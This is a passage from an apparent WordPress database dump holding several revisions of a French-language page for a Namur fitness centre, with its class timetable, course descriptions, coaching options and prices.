corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 18:55:39', '2014-01-18 18:55:39', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(409, 1, '2014-01-18 18:59:25', '2014-01-18 18:59:25', '', 'zumba3', '', 'inherit', 'open', 'open', '', 'zumba3', '', '', '2014-01-18 18:59:25', '2014-01-18 18:59:25', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg', 0, 'attachment', 'image/jpeg', 0),
(412, 1, '2014-01-18 19:01:49', '2014-01-18 19:01:49', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:01:49', '2014-01-18 19:01:49', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(411, 1, '2014-01-18 19:00:18', '2014-01-18 19:00:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;alignnone size-full wp-image-409\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:00:18', '2014-01-18 19:00:18', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(410, 1, '2014-01-18 18:59:35', '2014-01-18 18:59:35', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-409\&quot; 